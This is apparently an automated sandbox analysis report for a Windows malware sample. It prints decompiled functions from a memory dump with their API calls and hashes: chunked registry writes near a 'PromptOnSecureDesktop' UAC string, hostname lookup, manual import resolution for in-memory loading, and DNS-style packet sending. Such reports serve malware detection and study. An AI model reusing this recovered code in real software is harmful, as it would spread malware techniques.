Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: ee08a4d82409b5b0d67302c0f4de794a3829c56c13cc75970b502dad995dcc4a
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: ee08a4d82409b5b0d67302c0f4de794a3829c56c13cc75970b502dad995dcc4a
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040E095, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E095(void* _a4, char* _a8, intOrPtr* _a12, char* _a16, int _a20) {
				int _v8;
				char* _v12;
				void* _v16;
				char _v48;
				intOrPtr* _t34;
				int _t50;
				void* _t52;
				intOrPtr _t53;
				int _t57;
				int _t58;
				void* _t59;
				void* _t60;
				void* _t61;

				_t57 = 0;
				if(RegCreateKeyExA(_a4, _a8, 0, 0, 0, 0x20106, 0,  &_v16, 0) != 0) {
					return 0;
				}
				_v12 = _a16;
				_t34 = _a12;
				_t52 = _t34 + 1;
				do {
					_t53 =  *_t34;
					_t34 = _t34 + 1;
				} while (_t53 != 0);
				_t55 = _t34 - _t52;
				_v8 = 0;
				if(_t34 - _t52 > 0x1c) {
					_t55 = 0x1c;
				}
				E0040EE08( &_v48, _a12, _t55);
				_t50 = _a20;
				_t61 = _t60 + 0xc;
				if(_t50 <= _t57) {
					L11:
					E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
					RegDeleteValueA(_v16,  &_v48);
					RegCloseKey(_v16);
					return 0 | _t50 == _t57;
				} else {
					while(1) {
						_t58 = 0xff000;
						if(_t50 < 0xff000) {
							_t58 = _t50;
						}
						E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
						_t61 = _t61 + 0xc;
						if(RegSetValueExA(_v16,  &_v48, 0, 3, _v12, _t58) != 0) {
							break;
						}
						_v12 =  &(_v12[_t58]);
						_t50 = _t50 - _t58;
						_v8 = _v8 + 1;
						if(_t50 > 0) {
							continue;
						}
						break;
					}
					_t57 = 0;
					goto L11;
				}
			}

0x0040e09c
0x0040e0ba
0x00000000
0x0040e172
0x0040e0c3
0x0040e0c6
0x0040e0c9
0x0040e0cc
0x0040e0cc
0x0040e0ce
0x0040e0cf
0x0040e0d7
0x0040e0d9
0x0040e0df
0x0040e0e3
0x0040e0e3
0x0040e0ec
0x0040e0f1
0x0040e0f4
0x0040e0f9
0x0040e13f
0x0040e149
0x0040e158
0x0040e161
0x00000000
0x0040e0fb
0x0040e0fb
0x0040e0fb
0x0040e102
0x0040e104
0x0040e104
0x0040e110
0x0040e115
0x0040e12f
0x00000000
0x00000000
0x0040e131
0x0040e134
0x0040e136
0x0040e13b
0x00000000
0x00000000
0x00000000
0x0040e13b
0x0040e13d
0x00000000
0x0040e13d

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E0D3

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD08, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AD08(CHAR* _a4) {
				char _v132;
				int _t9;
				char _t11;
				intOrPtr* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t9 = gethostname( &_v132, 0x80);
				if(_t9 != 0) {
					_t14 = _a4;
					L15:
					if( *_t14 != 0) {
						return _t9;
					}
					return lstrcpyA(_t14, "LocalHost");
				}
				_t13 = _a4;
				_t11 = _v132;
				_t12 =  &_v132;
				_t14 = _t13;
				while(_t11 != 0) {
					if(_t11 < 0x61 || _t11 > 0x7a) {
						if(_t11 < 0x41 || _t11 > 0x5a) {
							if(_t11 < 0x30 || _t11 > 0x39) {
								if(_t11 != 0x2e) {
									goto L10;
								}
							}
						}
						goto L9;
					} else {
						L9:
						 *_t13 = _t11;
						_t13 =  &(_t13[1]);
						L10:
						_t12 = _t12 + 1;
						_t11 =  *_t12;
						continue;
					}
				}
				_t9 = lstrlenA(_t14);
				if(_t14[_t9] == 0x2e) {
					_t9 = lstrlenA(_t14);
					_t14[_t9] = 0;
				}
				goto L15;
			}

0x0040ad1c
0x0040ad24
0x0040ad71
0x0040ad74
0x0040ad77
0x0040ad88
0x0040ad88
0x00000000
0x0040ad7f
0x0040ad26
0x0040ad29
0x0040ad2c
0x0040ad2f
0x0040ad55
0x0040ad35
0x0040ad3d
0x0040ad45
0x0040ad4d
0x00000000
0x00000000
0x0040ad4d
0x0040ad45
0x00000000
0x0040ad4f
0x0040ad4f
0x0040ad4f
0x0040ad51
0x0040ad52
0x0040ad52
0x0040ad53
0x00000000
0x0040ad53
0x0040ad35
0x0040ad60
0x0040ad66
0x0040ad69
0x0040ad6b
0x0040ad6b
0x00000000

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00402923, Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402923(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int* _v8;
				signed int* _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short _v28;
				short _v30;
				short _v32;
				char _v292;
				char _v296;
				void* __ebx;
				void* __edi;
				void* _t37;
				intOrPtr _t41;
				signed int* _t42;
				signed short _t53;
				signed int** _t62;
				void* _t67;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t79;
				signed int* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				_t81 = __esi;
				_t37 = 0xc;
				_v8 = 0;
				_v16 = 0;
				if(_a4 >= _t37) {
					_t67 = E00402816(_t37, __esi, __ecx, __esi, _a4);
					if(_t67 < _a4) {
						_t76 =  *(__esi + 6) & 0x0000ffff;
						_t41 = ( *(__esi + 0xa) & 0x0000ffff) + ( *(__esi + 8) & 0x0000ffff) + ( *(__esi + 6) & 0x0000ffff);
						_v20 = _t41;
						_v12 = 0;
						if(_t41 <= 0) {
							L13:
							_t42 = _v16;
							L14:
							return _t42;
						}
						while(_t67 < _a4) {
							E0040EE2A(_t76,  &_v296, 0, 0x114);
							_t70 = E00402871(_t67, _t81, _t76,  &_v292, _a4);
							_t15 = _t70 + 0xa; // 0xa
							_t83 = _t82 + 0x10;
							if(_t15 >= _a4) {
								goto L13;
							}
							_t79 = __imp__#15;
							_v32 =  *_t79( *(_t70 + _t81) & 0x0000ffff);
							_v30 =  *_t79( *(_t70 + _t81 + 2) & 0x0000ffff);
							_t53 =  *_t79( *(_t70 + _t81 + 8) & 0x0000ffff);
							_v28 = _t53;
							_t71 = _t70 + 0xa;
							_v24 = _t71;
							if((_t53 & 0x0000ffff) + _t71 > _a4) {
								goto L13;
							}
							_t80 = HeapAlloc(GetProcessHeap(), 0, 0x124);
							if(_t80 == 0) {
								goto L13;
							}
							E0040EE2A(_t76, _t80, 0, 0x124);
							E0040EE08(_t80,  &_v296, 0x114);
							 *_t80 =  *_t80 & 0x00000000;
							_t67 = _t71 + (_v28 & 0x0000ffff);
							_t62 = _v8;
							_t82 = _t83 + 0x18;
							_v8 = _t80;
							if(_t62 != 0) {
								 *_t62 = _t80;
							} else {
								_v16 = _t80;
							}
							_v12 = _v12 + 1;
							if(_v12 < _v20) {
								continue;
							} else {
								goto L13;
							}
						}
						goto L13;
					}
					_t42 = 0;
					goto L14;
				}
				return 0;
			}

0x00402923
0x00402931
0x00402932
0x00402935
0x0040293b
0x00402950
0x00402957
0x0040296a
0x0040296e
0x00402970
0x00402973
0x00402978
0x00402a5b
0x00402a5b
0x00402a5e
0x00000000
0x00402a5e
0x0040297e
0x00402995
0x004029ac
0x004029ae
0x004029b1
0x004029b7
0x00000000
0x00000000
0x004029c1
0x004029ca
0x004029d6
0x004029e0
0x004029e2
0x004029e6
0x004029ee
0x004029f4
0x00000000
0x00000000
0x00402a0a
0x00402a0e
0x00000000
0x00000000
0x00402a18
0x00402a2a
0x00402a33
0x00402a36
0x00402a38
0x00402a3b
0x00402a3e
0x00402a43
0x00402a4a
0x00402a45
0x00402a45
0x00402a45
0x00402a4c
0x00402a55
0x00000000
0x00000000
0x00000000
0x00000000
0x00402a55
0x00000000
0x0040297e
0x00402959
0x00000000
0x00402959
0x00000000

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x73b743e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(73B743E8,00000000,?,73B743E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,73B743E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,73B743E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731
A, xrefs: 0040E6F9, 0040E6FE, 0040E739

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004026FF, Relevance: 7.6, APIs: 5, Instructions: 96
networkCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E004026FF(intOrPtr* __eax, intOrPtr _a4, intOrPtr _a8, long _a12) {
				long* _t33;
				long _t35;
				long* _t36;
				long _t37;
				long _t38;
				short _t39;
				short _t40;
				char _t42;
				intOrPtr _t43;
				void* _t48;
				long* _t49;
				long* _t51;
				long* _t52;
				long* _t53;
				long* _t54;
				void* _t55;
				long* _t56;
				long* _t57;
				long* _t60;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t66;

				_t65 = __eax;
				_t33 =  *0x412bf8; // 0x0
				_t42 = 0;
				if(_t33 == 0) {
					_t33 = E0040EBCC(0x400);
					_pop(_t48);
					 *0x412bf8 = _t33;
				}
				E0040EE2A(_t48, _t33, _t42, 0x400);
				_t35 = GetTickCount();
				_t49 =  *0x412bf8; // 0x0
				_t63 = __imp__#9;
				 *_t49 = _t35;
				_t36 =  *0x412bf8; // 0x0
				_t36[0] = _a12;
				_t37 =  *_t63(1);
				_t51 =  *0x412bf8; // 0x0
				_t51[1] = _t37;
				_t52 =  *0x412bf8; // 0x0
				_t38 = 0;
				_t52[1] = 0;
				_t53 =  *0x412bf8; // 0x0
				_t53[2] = 0;
				_t54 =  *0x412bf8; // 0x0
				_t54[2] = 0;
				_t60 =  *0x412bf8; // 0x0
				_t55 = 0;
				if( *_t65 != _t42) {
					do {
						_t43 =  *((intOrPtr*)(_t38 + _t65));
						_a12 = _t38;
						while(_t43 != 0) {
							if(_t43 != 0x2e) {
								_a12 = _a12 + 1;
								_t43 =  *((intOrPtr*)(_a12 + _t65));
								continue;
							}
							break;
						}
						 *((char*)(_t55 +  &(_t60[3]))) = _a12 - _t38;
						_t55 = _t55 + 1;
						while(_t38 < _a12) {
							 *((char*)(_t55 +  &(_t60[3]))) =  *((intOrPtr*)(_t38 + _t65));
							_t55 = _t55 + 1;
							_t38 = _t38 + 1;
						}
						if( *((char*)(_t38 + _t65)) == 0x2e) {
							_t38 = _t38 + 1;
						}
						_t42 = 0;
					} while ( *((intOrPtr*)(_t38 + _t65)) != 0);
				}
				 *((char*)(_t55 +  &(_t60[3]))) = _t42;
				_t24 = _t55 + 0xd; // 0xf
				_t66 = _t24;
				_t39 =  *_t63(0xf);
				_t56 =  *0x412bf8; // 0x0
				 *((short*)(_t56 + _t66)) = _t39;
				_t40 =  *_t63(1);
				_t57 =  *0x412bf8; // 0x0
				 *((short*)(_t57 + _t66 + 2)) = _t40;
				__imp__#20(_a4, 0x412bf8, _t66 + 4, _t42, _a8, 0x10);
				return 0 | _t40 <= 0x00000000;
			}

0x00402704
0x00402706
0x0040270b
0x00402715
0x00402718
0x0040271d
0x0040271e
0x0040271e
0x00402726
0x0040272e
0x00402734
0x0040273a
0x00402740
0x00402743
0x0040274e
0x00402752
0x00402754
0x0040275a
0x0040275e
0x00402764
0x00402766
0x0040276a
0x00402770
0x00402774
0x0040277a
0x0040277e
0x00402784
0x00402788
0x0040278a
0x0040278a
0x0040278d
0x004027a0
0x00402795
0x00402797
0x0040279d
0x00000000
0x0040279d
0x00000000
0x00402795
0x004027a9
0x004027ad
0x004027b9
0x004027b3
0x004027b7
0x004027b8
0x004027b8
0x004027c2
0x004027c4
0x004027c4
0x004027c5
0x004027c7
0x0040278a
0x004027ce
0x004027d2
0x004027d2
0x004027d5
0x004027d7
0x004027df
0x004027e3
0x004027e5
0x004027f0
0x00402802
0x00402815

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID:
API String ID: 1128258776-0
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
